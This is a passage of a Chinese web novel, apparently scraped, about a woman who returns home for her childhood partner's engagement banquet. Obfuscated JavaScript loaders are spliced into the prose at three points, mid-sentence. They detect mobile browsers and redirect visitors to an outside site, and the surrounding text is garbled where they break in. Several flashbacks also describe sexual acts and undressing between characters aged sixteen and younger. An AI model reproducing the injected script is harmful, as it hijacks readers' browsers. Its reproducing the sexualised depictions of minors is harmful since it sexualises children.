李梓木发现回老家其实很可怕,怪不得她总是想睡觉,因为老家到处都是唐成川的影子,而待在唐成川怀里,她总是睡得最香。 “好了,雪菜包子和豆沙包子都给你蒸上了,对了毛毛,我记得小川不是喜欢吃香菇青菜包子吗?二舅也给蒸了一屉,你回家顺道给他带过去,刚好他明天准备订婚呢,咱们两家虽然没啥亲戚,但你们小时候不是玩得好嘛,这小子还经常来店里帮忙,前段时间这店里消防没......” 后面二舅的声音传到李梓木耳朵里,已经滋滋啦啦变得模糊起来,汤匙嗑在碗沿,叮的一声。她脑子乱得很,断断续续地飘过唐成川和订婚两个词。 十六岁生日的时候,唐成川为了满足李梓木的要求,偷偷在网上买了大号的廉价婚纱,别扭地套在身上,五十一晚的小旅馆,拉紧了窗帘,少年羞愤地捂着脸跪在床边给她唱生日快乐歌。 “祝你生日快乐......祝你生日快乐......祝我的木头宝贝生日快乐,永远快乐......” 那晚李梓木哭着想要拿手机录下来,但唐成川实在害羞,她就没录,只是搂着少年的劲腰,跪在他婚纱的裙摆中间,李梓木从学校翻墙出来的,身上还是五高的春季校服,被唐成川抱着像个小孩。但小孩咬住了“新娘”的喉结,她熟捻地啃咬,直到少年红着脸闷哼出声,抱着她倒在床上。 李梓木亲他泛红的脸颊,一边亲一边说:“妈妈,小川妈咪,等我考上大学,我出息了,我给你买更好的婚纱,给你买最贵的钻戒,你一定要等着我,嫁给我好不好?妈咪........” 裙摆被推倒腰间,少年裙摆之下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125203|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是光着的,他已经张开双腿,生理性的泪水晕开在瞳仁,他羞红脸骂了一句,而后搂紧了女孩让她咬自己的凶口。 “傻瓜,你是我的木头宝贝,我不嫁给你还能嫁给谁?” 下午两点多钟,李玉凤在理发店排了半天,终于烫好了头发,只吹了半干,怕李梓木等得不耐烦,就用围巾一路裹着。电车把上挂着两大兜包子。李玉凤坐在后座说她:“家里就咱们两个,一次又吃不了这么多?下次让成儿别蒸这么多了,想吃的话咱直接去店里。” “没,这是二舅让带给川哥的。” “啧,你一说这我想起来了,小川明个是订婚是吧,还要在天宇大酒店,我还寻思着给他随多少礼金合适呢?他一个人这些年,你说他爹是个王八羔子,现在还牢里蹲着呢。家里又没个大人主持......” “行了妈,到家门口了,你先下去吧,我去给川哥送包子。” 李梓木回家之后第一次打断李玉凤的絮叨,她愣了片刻,从车上下来后,反而有点开心,伸手给李梓木的围巾重新系好,裹住了头,这才放她掉头去唐成川家里。 “行,你不爱听,妈就不说了。待会在小川家学着点说话,你们都是发小的情谊,但现在到底该成家了,别让小川对象误会。” 一直骑过里沟路,尽头拐个弯就是唐成川家。小学的时候,李梓木觉得这条路真远,每次去找唐成川,她都要一鼓作气跑得满头是汗,才能跑到他家门口。而唐成川通常早就在门口等着她了,远远瞧见李梓木的身影,他就飞快朝着她跑去,牵住李梓木之后,唐成川就自然地接过她的书包,然后随意用袖子给她擦汗,再接过李梓木的书包,两个小孩手牵手往学校走。 现在二十五岁的李梓木发现,原来骑车只要五分钟就能走到唐成川家门口,她有些恍惚,停好车之后。站在贴着喜字的门口,踌躇了几分钟,还没勇气敲门,而门内却响起一阵说笑声,而后脚步声逼近。李梓木来不及推车离开,深吸口气,刚挤出笑容,门从里面推开,露出来的却是李寒他们几个的脸。 李寒大概是喝醉了,看见李梓木后,猛地睁大了眼,一张通红的脸涨得几乎泛紫,手指着她,抖了好久才气急似的,颤声说:“你、李梓木你他妈又来干什么?!你他妈是嫌川哥命长是吧?滚滚滚滚,你赶紧滚,别让川哥知道你回来,滚呐!” 李寒一边说着一边把李梓木往外推,她皱眉看了一圈,唐成川显然没在这,顿时也觉得没意思,拍开李寒的手,自顾自挤到门里,在众人都没反应过来之前,拉开厨房门,将手里拎着的包子全塞到了冰箱里。 李梓木环视了一圈,发现唐成川家里的布局这些年都没有怎么变,还不过装修是当初他做生意刚挣到钱,两个人一起设计挑选的。那时候唐成川早出晚归,李梓木在他家里准备毕业论文,黑白颠倒,一天之中也只有凌晨能和回家的唐成川打个照面。她向来不去过问唐成川的生意,而唐成川也不会和她讲这些,甚至喝完酒,醉着也要去洗澡,换一身衣服,确保没有酒气才会进卧室去抱李梓木。 唐成川那晚刚谈好一笔生意,回家之后太兴奋,没换衣服就去卧室,从背后圈住了正在查文献的李梓木。李梓木闻到酒气微微敛眉,没有拒绝唐成川,只是在他解开扣子,下意识扣住她的脖子让她咬的时候,李梓木挣扎着推开了他,疲惫地抓了抓头发,抱着电脑往客厅走。 “喝完酒你赶紧睡吧,我今晚得赶进度了,导师那边在催。” 李梓木随口扯谎,因为知道唐成川辍学之后在她面前一直很自卑,因此从来不敢干涉李梓木学习的事情。所以她时常拿学习搪塞他,唐成川有时候能察觉出来,但也只是在李梓木下一次兴致高,抱着他在凶前啃咬的时候,才会捂着眼睛闷声问:“木头,我不懂你学习上的事情,但有时候.......有时候我觉得你好像在用学习这件事躲开我一样.......” “你怎么会这样想啊,妈咪,小川妈咪,全世界我最爱你呀。”李梓木松开牙齿,捧住唐成川的脸,拨开他捂着眼睛的手,轻轻将吻落在少年泛红的眼皮上:“别哭,妈咪,你要相信我最爱的就是你。” 17. 抛弃糙汉男妈妈的第三年(二) 那晚李梓木抱着电脑刚离开,下一秒唐成川就从背后拽住了她,因为醉得厉害,所以眼睛里水汽弥漫,颊边是异常的潮红,盯着李梓木,他唇瓣抖了抖,却还是嗤笑着开口问:“导师?你哪个导师?让我看看你们导师是怎么催你的,竟然让你现在连看我一眼都懒得看。” “唐成川,你发什么精神啊?松开。”李梓木生气,瞪圆了眼睛看着他。即使唐成川将近一米九的身高压迫感很强,但李梓木却丝毫都不害怕,像个梗着脖子和妈妈吵架的小女孩,她甚至在思索该说什么样的话才能刺得他崩溃流泪。 “我松开?李梓木,我松开你他妈就飞了你知不知道?我现在真的觉得你离我越来越远了.......你之前在床上哄我张腿,你说毕业了就娶我,我他妈信你了李梓木!我他妈信你了!但你现在这样,碰都不愿意碰我,你说话还算.......” “你哭了?唐成川,又哭了?”唐成川还没骂完,眼泪扑簌簌止不住地落下,原本还在赌气的李梓木见状,反而心底升腾起诡异的兴奋。她喉咙深处一阵阵渴,此刻根本不想在吵架了,磨了磨牙齿,她搂住唐成川的脖子,将他推到床上,一口咬破了他颤栗的唇瓣。 “唔你、你混蛋李梓木,你滚下去,老子不让你咬了,你滚下去你个混蛋。”唐成川推着李梓木的肩膀,别过脸不让她咬,但李梓木却不恼,反而笑眯眯地捧住他的脸亲了亲,实在忍不住才咬了一小口磨磨牙。唐成川不哭也不挣扎了,只是眼睛泛红地瞪着身上的少女。唇瓣上的血珠抿开,衬得他俊朗凌厉的面容都显出几分英气的妩媚。 李梓木更是心颤,克制地亲了亲他的唇角,手却熟练地伸进他的衣领,捏着那团还印着她牙印的绵.软,李梓木又一次承诺:“妈咪,妈咪你不要总是怀疑我好不好?我肯定会娶你啊,妈咪,这世上这多人,我只会想娶你。” 凶口没有消下去的咬痕一阵阵刺痛,而唐成川却仍又一次自己解开了扣子,他怜惜地揉着女孩的后颈,抽了抽鼻子,声音含着哭腔,心里空落落的,却仍是不管不顾地妥协,张开腿献上自己一身皮肉,只赌她那一点虚无缥缈的爱。 “嗯,对不起木头,我信你,妈咪只信你,只要你来娶我,别人不都可以。” 李寒见李梓木这么不客气,恼意更甚,推开拦着他的兄弟,扯着李梓木的衣领就要把她往外拖。而李梓木眼皮都没抬,抄起架子上的菜刀砍在案板上,目光瞟了眼他的手,平静道:“撒手,唐成川不在家,我自己会走。” “你还敢提川哥!李梓木,你他妈当初一言不发就玩失踪,川哥这边刚忙完他爸的事情,被受害者家属打得肋骨都断了几根,你一个电话都没打,他妈的,川哥发烧都快烧糊涂,还在喊你的名字,给你道歉,求你别不要他!后来他伤刚能下地,又偷偷跑去武城找你,结果你脸都没露,发个短信就算和他分了!初中你追川哥,谈恋爱谈谈谈谈了他妈的十几年,结果一条短信你就决定不要他了!!你知不知道要不是我们哥几个追到武城,他就要冻死武城街头了!!你有一点良心吗李梓木?现在川哥好不容易愿意结婚稳定下来,你要点良心,明天就别让川哥看见你!” “你说完了么?”李梓木淡淡地睨向李寒,自顾自戴好手套,她推开堵在门口的人,忽然嗤笑一声,扭头道:“唐志成醉酒驾驶撞死了人,受害者家属揍他儿子,不合法理但合情理,当初一开始我是不是告诉唐成川,让他武城找我,不要管他爸的事情,任着坐牢还是其他,随他去。唐成川自己要当二十四孝大孝子,我难不成还得陪他一起在受害者家属面前下跪赔罪?再者说,是我追的唐成川又怎么样?又没哪条法律规定了追到谁就要一辈子喜欢谁?三年前唐成川一门心思扎在烂泥一样的家里,我好不容易摆脱自己的原生家庭,不想陪他继续烂在华安镇这个破地方,我有什么错?李寒,做人不要太双标。你体谅你川哥,你也体谅体谅我,放心,明个放心陪你哥结婚,他不是那种会临时反悔抛下新娘的烂男人,对你哥有点信心。” 离开唐成川家里的时候,正是下午四五点钟,冬日里灰扑扑的太阳落下去,华安镇的一切都像生了铁锈一样,她骑着车没有戴围巾手套,风一缕缕针扎一样钻进骨头缝里。她齿关战栗,痒得几乎受不住了,停下车,躲在华安镇烂尾楼的废墟里,她用力咬住手腕,直到满嘴鲜血的腥甜。李梓木抓住乱糟糟的卷发,眼泪一颗颗洇出眼眶,承受不住,呜咽着碎在卷起塑料袋的风里。 唐成川......凭什么啊,你结婚了,我怎么办?唐成川,你说过要当我的妈妈,当我的爱人,你说过的...... 我可以说话不算数,你不可以,唐成川,是你说的,“妈妈永远不会抛弃自己的孩子,李梓木,我永远不会不要你,你是我最爱的木头宝贝。” 第二天早上九点多,李玉凤和隔壁小华妈约好一起去坐车到天宇酒店,给小川捧场的时候。在家里向来沉默的像个幽灵一样的女儿,竟然主动下楼跟她说要一起去。 李梓木打理了头发,微卷的褐色短发,圆润明亮的眼睛,配着女儿苍白的皮肤,都显得二十五岁的李梓木仍旧稚气得像个小孩。李玉凤有些恍惚,总觉得这些年女儿始终困在被她丢在华安镇的童年里,从来都长不成一个健康的大人。 “你化妆了吗?毛毛?” 她牵住女儿的手,冰凉又蜷缩着,李梓木将手缩回袖子里,不自然地对李玉凤点头道:“嗯,化了点淡妆,不然太憔悴了。” “不憔悴,我们家毛毛一直都是最好看最洋气的小孩。”李玉凤喊李梓木毛毛,这是李建树小时候给她起的小名。华安镇有很多毛毛,李玉凤还小的时候,也被爸爸李建树喊成毛毛。后“毛毛”长大,和错误的男人结婚又离婚,大着肚子回家那天,李建树第一次没有再喊她毛毛。李玉凤知道李建树还在生气,但他依旧给女儿准备了最软的床,六十多岁的老头伺候着女儿直到她生产出了月子。李玉凤背着行李偷偷跑出家的那天晚上,李建树屋里的灯早早就灭了,直到铁门咔哒合上,老房子重回寂静。他听见女儿屋里传来小孩嘹亮的哭声,重新拉上灯,李建树走出屋子,将襁褓里小小的女娃抱到怀里,像小时候哄女儿那样,他哄着女儿的女儿,沙哑的嗓子别捏地轻轻唱:“毛毛乖,毛毛乖,毛毛睡觉,大灰狼不会来.......” 十点多钟,李梓木和李玉凤还有隔壁小华妈,一起坐小华姐的顺风车到了天宇酒店。酒店经常承办华安镇的各种宴席,李梓木小时候跟着姥爷就在这里吃席,那时候她一边吃,一边着急,找准大妈大婶们打包菜的时机,提前站到椅子上,端起桌上没吃完的牛肉、鱼肉还有烧鸡烧鹅......兜在塑料袋里,最后的甜汤没喝几口,李梓木就抱着可乐瓶往酒店外跑。 姥爷追出来,看到唐成川就知道李梓木打包剩菜的意图了,想到这孩子的家庭,他叹了口气也不好说什么。出来给了李梓木十块五块的零花,然后嘱咐了句天黑记得回家吃饭。李建树就继续回席上喝酒了,而唐成川红着脸,有些不自在,想争口气和李梓木说他不要剩菜。但还没开口,李梓木就急不可耐地轻轻咬了下他的脸,抱着他往马路边推:“我牙又痒了,小川,你家没人吧现在?咱们去你家吧,你吃饱饭给我咬几口好不好,我忍不住了.......” 李梓木小的时候眼睛更圆更大,巴巴望着唐成川,像亮晶晶的玻璃球一样。他背过身擦掉脸上的口水,牵住小女孩点头,那点不自在也被害羞给冲淡了,只闷声回答说:“你不给我吃饭,我也会给你咬的。李梓木,我说过的,你可以咬我很多口,我不怕疼的。” 席面开始之前,先上的是花生瓜子和饮料,李梓木挨着李玉凤坐,低头喝茶嗑瓜子,同桌的大婶们纷纷瞅过来,最后一个没忍住,扒拉着她的胳膊问:“梓木长这么漂亮,没谈男朋友吗?算起来你也二十五六了吧,还不考虑结婚的事情嘛?” 李梓木放下手里的瓜子,还没开口,李玉凤却起身给八卦的大婶倒了杯热茶,笑着打岔说:“行了,我都不急,我们家毛毛也不急,你们急什么?再说了,我闺女只要自己过着痛快,没必要非得找个男的给自己添堵。” 李玉凤这话说得不算委婉,桌上的气氛一时有些尴尬,而恰好这时,司仪拿着话筒上台,让大家静一静,欢迎新人入场敬酒。李梓木一瞬间捏碎了手里的花生,目光怔怔地盯着桌子中央的假花。随着全场安静,她急促剧烈的心跳声反而格外清晰,呼吸屏住,喉咙也像是被扼住一般。她迟钝了很久,终于在鼓掌声响起的瞬间,望向大厅入口。隔着重重人影,她只看到一个熟悉的侧脸,唐成川更瘦了些,轮廓俊朗凌厉,他眉眼间是在生意场中浸透出来的游刃有余。而他身侧笑容拘谨的女人则盘着发髻,挽着红花,后撤半步跟在唐成川身边,一桌一桌地敬酒。 冷菜上桌,李玉凤夹了几片牛肉放在李梓木碗碟里,她用筷子敲了敲碗沿,出声道:“吃饭,毛毛,别看他们了,吃你自己的,吃饱饭妈妈带你回家。” 李梓木喉咙发哑,她不知道怎么回应李玉凤,甚至在她提起妈妈的时候,李梓木第一个想起来的,是咬住衣摆将她抱进怀里擦干眼泪的唐成川,今天这个订婚宴的主角。 “哎呦,你说这小川到底是没爹教啊,挣再多钱有什么用?礼数都搞不明白,这订婚又不是结婚,整个这么大排场,还是娶一个哑巴,你说他图啥啊?”小华妈喝了两杯酒,开始八卦起主人家,而同桌的安婶一听她问起,又来劲了,半边身子凑过来嘀咕说:“啧,这你就不知道了吧?这哑巴姑娘吧,原来是小川厂里的一个工人,后来她们镇上有个流氓,家里有钱,出了三十万彩礼给哑巴她爹,她爹当然高兴要卖女儿。结果哑巴不愿意,在厂里就要跳楼,后来被小川给救下来,中间又不知道怎么搞的,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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唐成川仰头灌了一杯酒,脱掉西装外套靠在沙发,忽而勾唇,笑意多了几分真情实感,转着酒杯说:“是啊,我当然知道,李梓木从小又好看又聪明,她多好一姑娘啊,而且还看不上我呢。” 徐慧听不清他在说什么,辨认着唐成川的唇形,只隐约觉得,他虽然笑着,但眼里的难过却几乎要将自己给溺死了。 很快半瓶白酒都要喝完了,唐成川接到电话,酒店的服务人员说订的酒出了问题,要他到酒水间看看需不需要换另一批。唐成川不耐烦地啧了一声,但还是起身拿上外套,离开前告知徐慧:“刚才给小峰打过电话了,席面结束之后,他在酒店后门等着接你。钱和车票都准备好了,你俩今晚趁着天黑直接走就成,别让你爸还有认识的人看到。” 徐慧红着眼睛点头,而唐成川想了想,还是没有说什么,离开休息室之前,她忽而又焦急得朝他打手语:川哥,希望你喜欢的人也喜欢你,你这么好的人,一定能幸福的。 唐成川看懂了徐慧的手语,但迟疑很久,眼尾渐渐红了,却只是笑着关上门,嘴里低声喃喃着,只有他自己听得到:“让她喜欢我......这辈子我是不敢想了,那个没良心.......” 酒水间的门压根没锁,唐成帅找不到工作人员,便直接推开门进去。而刚绕过一个货架,拿出手机准备刚拨通刚才的号码,铃声却从货架后响了起来。没待他反应,一双手从身后扣住了他的腰,熟悉的痛感落到胳膊上,尖利的牙齿陷入皮肉里,抱着他的人发出一声婴孩一般舒服的哼哼。 啪嗒一声,脑子里某个开关仿佛被打开了。唐成川站在那任她抱着啃了将近一分钟,才终于迟钝地回过神,颤着手捏住李梓木的下巴,往她强硬地推开。 “你疯了吧,李梓木。”唐成川明显带着怒气,眼眶湿红,唇瓣颤栗着,张合了几次,还是没能将话说得更绝情一点。 “我牙痒了,妈咪。”她眨着眼睛,一瞬间便轻易掉下泪珠,低头咬住唐成川捏她下巴的手指,女人温热的口.腔烫得他猛地后退,直到被逼到墙角。李梓木扑到了他身上,脸熟练地埋在他怀里,一边蛮横地扯他的扣子,一边哭着撒娇:“我要吃,妈咪,我要吃你,唐成川,我玩累了,我想回家了,你让我回家吧,妈妈.......” “你是变态吗,李梓木?我不是你妈,你妈在外面呢。”唐成川冷笑着垂眼看她,而抬手落到她瘦弱肩头的瞬间,手指还是攥成了拳头,始终没有推开。只不过也没有像从前年少那样不知廉耻,死死搂住李梓木献上自己。 “你就是!你就是我妈妈!唐成顺!你说过要当我妈妈的!谁都可以骗我,你不可以!”听到唐成川的否定,李梓木罕见地愤怒起来,掐住他的脖子,双眼通红,不管不顾地朝着唐成川的唇瓣咬下去,很快铁锈的味道弥漫在口腔。唐成川吃痛,蹙眉的瞬间,意识到自己应该咬紧齿关不让她侵犯进来,可就在这个想法产生的瞬间,身体已经背叛意识,叹谓一声含住了她,肩膀也打开,唐成川托着李梓木稳稳地压在自己身上,他的手护着她的腰,只担心她受伤。 18. 抛弃糙汉男妈妈的第三年(三) 初一的时候,唐成川被室友拉着看过某些碟片,那一晚他始终没能睡着,第二天早读,天蒙蒙亮要进教室之前,从女寝出来的李梓木拉住唐成川,躲到影壁墙后面,睡眼惺忪地扒开他的校服,低头去咬少年平坦的凶口。唐成川脑海中闪过昨晚碟片里的画面,第一次红着脸推开了李梓木,拉上拉链,为难地说:“不、不能这样,木头,我们这样不好,我是男生,男生和女生之间还是要保持距离,不然........” 李梓木被推开,睡意都瞬间消失了,接着一股被背叛被抛弃的愤怒漫上心头,她都没听唐成川说了什么,就红着眼睛强硬地去拉他的领口。少年背过身躲开她,不停地解释,可李梓木几乎被气疯了,奈何又没有少年那么灵活,追了他几圈,早读的预备铃响起。她哭着停下来,瞪了伸手想给她擦眼泪的少年,转身跑开,下定决心再也不要和他好了。 凭什么呀?凭什么他们都要抛弃她啊.......李梓木想不明白,暗自决定再也不要和任何人好了。早读之后,唐成川再来找她,李梓木只当看不见这个人,不和他说话也不去他家一起写作业了。唐成川也委屈,想拦住李梓木和她解释那天早读的事情,可奈何李梓木压根不和他单独相处,走到哪里,她都会和同学或者朋友一起。也是这个时候,唐成川忽然发现,大家都很喜欢李梓木,离开他,还会有很多男生女生愿意和她一起玩,他并不是李梓木的唯一,可李梓木却是他唯一喜欢的人。 唐成川第一次感到恐惧,可来不及让他细想,周五放学好不容易等到李梓木回家落单,唐成川隔了一段距离远远地跟着她,准备在华安镇后街的广场那里拉住她解释,大不了再让她咬一次,存着这样的心思,少年宽大的校服里甚至没有穿衣服,他下定了决心,可没想到李梓木和他想到一起去了。到了广场附近,他刚准备叫住李梓木,却见她开心地朝着亭子里跑过去,亭子里是一个穿着校服的高个子女生,她低头摸了摸李梓木的脸,而后纵容地笑着拨开衣领,将脖子凑到她唇边。 李梓木睁大了眼睛,明显咽了下口水,而就在她低头要咬下去的瞬间,一直躲在健身器材后面的少年却猛地冲出来,扯住李梓木的胳膊将她拉开,死死地盯着面前陌生的女孩,唐成川拉着李梓木后退,恶狠狠地像只护食的小狼,气愤地吼道:“起开啊!你不许让李梓木咬!不许!木头只能咬我!她从五年级就开始咬我!只有我才能让木头咬得最香最舒服!!你不许!离木头远点!” 学姐感觉莫名其妙的,而李梓木则偷偷摆了摆手笑眯眯地让她先走。等到亭子里只剩下他们二个人的时候,李梓木收敛了笑容,盯着唐成川紧张讨好的神色,她直接将手伸入他的衣摆,摸到少年细腻紧实的皮肉,她皱了皱眉,故意说:“你太平了,没有学姐香,也没有学姐软,全是骨头,我不喜欢你了。” “不、不行!我不许,你不能不喜欢我,李梓木,我........”唐成川焦急起来,眼睛里盈满泪雾,几乎要哭,咬牙拉开校服拉链,他赤.着上身抱住李梓木,凶口和腰侧还有淡粉色的痕迹,他抽噎着说:“你别不喜欢我啊,李梓木,我错了,我再也不说保持距离的话了。我.......我其实不是讨厌你咬我,我喜欢你咬我,真的,你咬我越疼我就觉得越舒服,只是......只是他们都是男女生之间这样不好,我怕他们说,才.......” “有什么不好?”李梓木微凉的指尖划过少年的锁骨,一双杏眼明亮而清澈地看着满脸潮红的少年,她莞尔,盈满笑意,挽起头发咬住了少年细腻的皮肉。她含糊着,抱紧了唐成川窝进他怀里,心头颤栗,开口叫他:“男女生之间不可以这样的话,那你做我的妈妈吧,唐成川,刚好我没有妈妈,你来当我的妈妈好不好?” “唔......疼,木头,我我是男生啊.......”少年揉着李梓木的后颈,眼尾疼得落下一串泪珠,而心里这些日子的惶恐被抚平,他反而放松地软了身子,目光潮湿地望着怀里的女孩。 “男生又怎么了?”李梓木忽然放肆地亲了下他的嘴巴,摸着唐成川的脸,她无所谓道:“只有你对我最好,所以你就是我的妈妈。男妈妈也是妈妈,我爱你,妈咪。” 李梓木似乎不知道这句我爱你的威力,唐成川本就混沌的脑子空白了一瞬,在仅有的记忆,从来没有人对少年说过爱。因为唐志成酗酒,唐成川生下来就没有见过妈妈,而爷爷奶奶也在他五岁之前,就和唐志成断绝了关系,这些多年从没有回到华安镇看过他们一眼。唐成川只有唐志成这么一个糟透的亲人,小学时因为总穿脏衣服,还被小孩们围起来嘲笑捉弄,后来他学会了自己踩着板凳洗衣服,但因为拧不干,所以衣服也总是皱巴巴像块破瓦片一样穿在身上。一直到五年级,没有小朋友愿意和他拉手或者碰一下他,后来李梓木因为开学迟到,没有位置坐就坐到了唐成川身边。 他知道她是早餐店老板的外甥女,她总是被打扮得干净又好看,身上总是会有香膏的味道,像是一颗雪白的牛奶糖。唐成川默默地想,却不敢看她,怕被李梓木发现后告诉老师。但李梓木对于坐在他身边,似乎没有什么异议,直到一个星期之后,唐成川午睡,忽然感到颈侧一阵刺痛,迷迷糊糊睁开眼,却看到一个毛绒绒的脑袋,女孩温热的气息喷在他的皮肤上,唐成川第一次和别人靠得这么进,他屏住呼吸,捏紧了桌角,手指几乎抠破的时候,怀里的李梓木却松开牙齿,偷偷抬头看到他的瞬间,吓得后退几乎跌到。唐成川攥住她的手腕将李梓木拉回来,抿着唇瓣,两个小朋友你看我我看你,最后他耸了下鼻子,红着脸装作无所谓地将衣领又扯开了一点,倾身靠近李梓木,他偷偷地请求,说:“一点都不疼,我爸打人比这疼多了,李梓木,你下次咬得重一点吧。” 李梓木是第一个满足唐成川对亲密关系渴望的人,他们像两株野生的藤蔓,交缠依偎着生长。而此刻,另一株藤蔓对他说:“我爱你,妈咪。” 他怔怔地看着她,直到眼泪盛不住晃悠悠地坠下来,风吹过光滑的肌肤泛起一阵阵战栗,身体先于意识,他嚎啕哭着抱紧了李梓木。 身上齿痕斑驳,他却满眼餍足,回应她:“我也爱你,木头,我最爱你了,你知道的。” “我给你当妈妈,木头,”羞红了脸,唐成川却仍旧颤巍巍地吻住她的唇角,认真地抵住她的额头说:“我不抛弃你,木头,我来做你的妈妈,我永远不抛弃你。” 酒水间的门并没有关紧,工作人员检查到这边,咦了一声,要进来之间,李梓木松开了唐成川,他脖颈和锁骨上都是被咬破的牙印,唇瓣也被啃得红.肿,无奈只能套上外套。唐成川先出去支开了工作人员,而余光瞄了眼躲在货架后的李梓木。他这才细致地重新将二十五岁的李梓木打量了一遍。 瘦了,头发也枯燥,眼睛大得吓人,总是耷拉着脑袋还爱哭,不如在他身边养得好。 这个想法冒出来,唐成川忽然有些生气,对自己也对李梓木。不是不喜欢他了吗?艹,那你倒是把自己养得好一点啊!这幅鬼样子回来趴在老子身上哭,就捏准了老子是个贱骨头对你没办法是吗? 他想冲过去掐着李梓木质问,可李寒他们兄弟几个却找过来拉着他去喝酒。唐成川沉着脸却没有拒绝,而李寒醉醺醺地看着唐成川的脸,却忽然猥琐地嘿嘿一笑,指着他的嘴唇说:“川哥,嘿嘿,没想到小慧看着文静,私底下这么猛啊,你的嘴,嘴都破了哈哈哈哈.......” “滚,闭嘴!”提起徐慧,唐成川下意识紧张地去瞄货架后的李梓木,而后又意识到他们早就分手了,他气闷地拍了下李寒的脑袋,没好气地扯着他离开。 “不是你想的那样,是被狗咬的,行了吧!!” ------------------------------------- 吃完席回家,李梓木满脸疲倦地上楼睡觉去了,李玉凤一开始只觉得她是累了,但直到第二天中午楼上还没动静。李玉凤惊觉不对劲,跑到楼上撞开李梓木的卧室门,才发现她不知道什么时候晕了过去,浑身滚烫,还发起了高烧。 她给李玉成打电话,急得哭了出来,话都不出清楚,而李玉成也赶紧往这边赶,中途他想起去借车,但邻居的年轻人都不在家,只剩下唐成川家门口,他的车还停在那。 李玉成管不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唐成川咬着手背闷哼,喘了口气却没有推开她,侧身将她往怀里拢了拢,那么瘦小的一团,那把骨头。唐成川想起医生的嘱托,病人没有什么大碍,只不过严重的心理问题,影响到日常生活的方方面面,就导致了不良的生活习惯,因为失眠胃痛还有精神衰弱各种小病缠身。病人自己又不重视,托了好几年,到现在心力憔悴,才会突然晕厥。还是得静养,没有办法,尽量保持身心愉悦吧。 唐成川知道她的心病,却不知道心病原来可以耗死一个人。他没有李梓木那么聪明,从前看电视懵懵懂懂地学过一个词,慧极必伤。现在看着缩在他怀里战战兢兢的李梓木,唐成川忽然就明白了慧极必伤的具象化。 三年前李梓木强硬地要他跟着她回武城,甩开唐志成的烂摊子重新开始的时候,她眼睛里像燃着一团火,盯着唐成川,就像盯着深陷于被妈妈抛弃的阴影里的自己,她想救出唐成川,也想就曾经的自己。 可唐成川到底是亲缘寡淡,他又是个心肠极软的人,当时不明白李梓木望着她的眼神,拒绝了她。唐成川本来已经自觉地跪到床上,脱掉衣服想要用身体哄一哄李梓木,以为就像从前无数次的吵架一样,让她咬一遍自己,李梓木就能消气。可那次李梓木只是平静地离开房间,她没有再多说什么,也没有再提带唐成川离开的事情。 甚至于当时李梓木帮他联系了靠谱的律师,合同还有开庭的所有事情都帮唐成川捋顺了一遍,最终在唐志成酒驾入狱这件事尘埃落定之后,她才没有通知任何人,连夜带着行李离开了华安镇。 后来找不到人的唐成川几乎把她的手机给打爆了,一天发几百遍消息和她道歉,被人打进医院都没有哭过的人,当时喝醉后不停用碎玻璃划自己的手臂,一道道刺痛拨动着他的神经,但都不是,不是李梓木咬他的感觉。 唐成川要疯了,决定去找李梓木,却又被受害者家属以为要逃跑,堵到车站围起来打了一顿,唐成川没有脸面还手,直到被他们打断肋骨进了医院,发起高烧,一片油煎似的痛楚当中,他仍止不住地呜咽,仿佛重新被抛回孤独无依的童年,他仍是那个形单影只的脏小孩,从来没有人要他,也从来没有人说过爱他。 19. 抛弃糙汉男妈妈的第三年(完) 唐成川收到李梓木的分手短信,他其实心里已经有了预感,或许是因为在一起那么多年,也或许是因为曾经太过亲密,他总觉得他和李梓木像是彼此身体的一部分,总能有奇怪的通感的瞬间。他在街上读着那条短信,心口绞痛,撑不住扶着树干蹲下身,大口大口地喘着粗气,眼泪砸在地上,啪嗒碎成一片水渍,无影无踪,像他这些年的喜欢一样没有痕迹。 木头.......他念着却没有声音,眼泪流得更急,喉咙哑得说不出话,一张口就是含混的呜咽,唐成川无助地看着来来往往的人,伸出手甚至想要求救。 救、救我啊,为什么.......为什么木头不要我了.......我不是她的妈妈吗?原来孩子,孩子可以抛弃妈妈的吗? 唐成川喝醉之后记不得事情了,手机和钱包可能是被抢了,也可能是他自己想找死,就全给丢了。但到底李寒他们还是追来把他带回了华安镇。一开始他混混沌沌地睡觉,最后某一天站在镜子前,他看着镜子里憔悴得像个骷髅一样的脑子,捏了捏瘪下去的凶口,他下意识想李梓木不喜欢这样,这样咬起来口感不好。他应该去健身,对,他要去健身,要重新把肌肉养回来。 随便套了件衣服出门,可到健身房,唐成川却吓得前台根本不让他进步,最后还是一个认识他的兄弟出来,发现唐成川似乎发了癔症似的不能沟通,这才打电话叫来李寒他们带他去了医院。 最后医生决定先给唐成川做心理疏导,可听完他颠三倒四的自述,拼凑出两根藤蔓交缠生长的过往,医生也沉默了,半晌告诉他:“你不能指望一根拼命长出沼泽的树苗弯腰来救另一根在沼泽里扎根的树苗,唐先生,你能做的,就是既然不同路,那用力走好你自己的路。如果有一天她后悔了,她累了,你就可以是另一个强壮的、成功的、可以依靠的她.......” 你和她纠缠了这么久,还没明白吗?唐先生,你们已经打碎骨头融进血肉的一个人了,谁也不可能抛弃谁...... 李梓木在医院住了将近一个星期,李玉凤来病房想要照顾他,但看到李梓木拘谨地对待她,反而心安理得地一直指挥小川伺候自己,连喝口水都要小川喂到她嘴边。 